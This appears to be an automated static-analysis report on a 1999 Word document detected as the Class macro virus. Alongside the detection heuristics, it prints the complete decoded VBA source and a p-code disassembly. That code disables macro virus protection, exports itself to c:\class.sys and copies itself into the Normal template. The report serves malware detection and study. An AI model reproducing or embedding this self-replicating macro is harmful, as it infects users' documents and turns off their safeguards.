Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3afa25854ff9d366…

MALICIOUS

Office (OLE)

724.5 KB Created: 1999-06-23 11:59:00 Authoring application: Microsoft Word 8.0 First seen: 2015-01-04
MD5: c61004f6f66cd04db614ef9c1f5cf8a8 SHA-1: aa72573a496eac29343c90cd27e940fd697952a2 SHA-256: 3afa25854ff9d36617609c033565bf7f3bc91dd8fb16e933c4596146871cd921
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro virus markers and critical heuristics indicating VBA macro virus replication and disabling of macro protection. The AutoOpen macro attempts to export its code to 'c:\class.sys' and disables macro virus protection, suggesting an intent to achieve persistence and spread.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11110 bytes
SHA-256: 5370c626c90fdb8435ffa28349ebcf207aa171677a6bded5bff7278bb05539cd
Detection
ClamAV: Doc.Trojan.Class-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
On Error GoTo out
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
Options.VirusProtection = False
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
Options.SaveNormalPrompt = False
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
Options.ConfirmConversions = False
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If nt > 70 And ad > 0 Then GoTo out
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If nt < 70 Then
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End If
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
host.codemodule.AddFromFile ("c:\class.sys")
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
With host.codemodule
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    For x = 1 To 4
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    .deletelines 1
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    Next x
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End With
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If nt < 70 Then
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    With host.codemodule
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    .replaceline 1, "Sub AutoClose()"
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    .replaceline 71, "Sub ToolsMacro()"
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    End With
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End If
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
With host.codemodule
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    For x = 2 To 72 Step 2
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
    Next x
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End With
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
out:
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End Sub
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
Sub ViewVBCode()
'abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc
End Sub



' Processing file: /tmp/qstore_6q2b1gwl
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6117 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #2:
' 	OnError out 
' Line #3:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #11:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #13:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #14:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #15:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #16:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #17:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #19:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #20:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #21:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #22:
' 	LitStr 0x000C "c:\class.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #26:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #27:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #28:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000E 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0005 
' 	Gt 
' 	Paren 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "I Think "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitStr 0x0016 " is a big stupid jerk!"
' 	Concat 
' 	LitDI2 0x0000 
' 	LitStr 0x0021 "VicodinES Loves You / Class.Poppy"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #29:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #30:
' 	LitStr 0x000C "c:\class.sys"
' 	Paren 
' 	Ld host 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #31:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #32:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #33:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #34:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #35:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #36:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #37:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #38:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #39:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #40:
' 	EndWith 
' Line #41:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #42:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #43:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #44:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #45:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #46:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #47:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #48:
' 	LitDI2 0x0047 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #49:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #50:
' 	EndWith 
' Line #51:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #54:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #55:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #56:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0048 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #57:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #58:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld Now 
' 	Concat 
' 	Ld Application 
' 	MemLd ActivePrinter 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #59:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #60:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #61:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #62:
' 	EndWith 
' Line #63:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #64:
' 	Label out 
' Line #65:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #66:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #67:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #68:
' 	EndSub 
' Line #69:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #70:
' 	FuncDefn (Sub ViewVBCode())
' Line #71:
' 	QuoteRem 0x0000 0x0037 "abc1999/6/23 PM 07:59:19HP LaserJet 6L - LPT1:03t07.doc"
' Line #72:
' 	EndSub 
' Line #73:
' Line #74:

Open this report in the interactive analyzer, or submit your own file for analysis.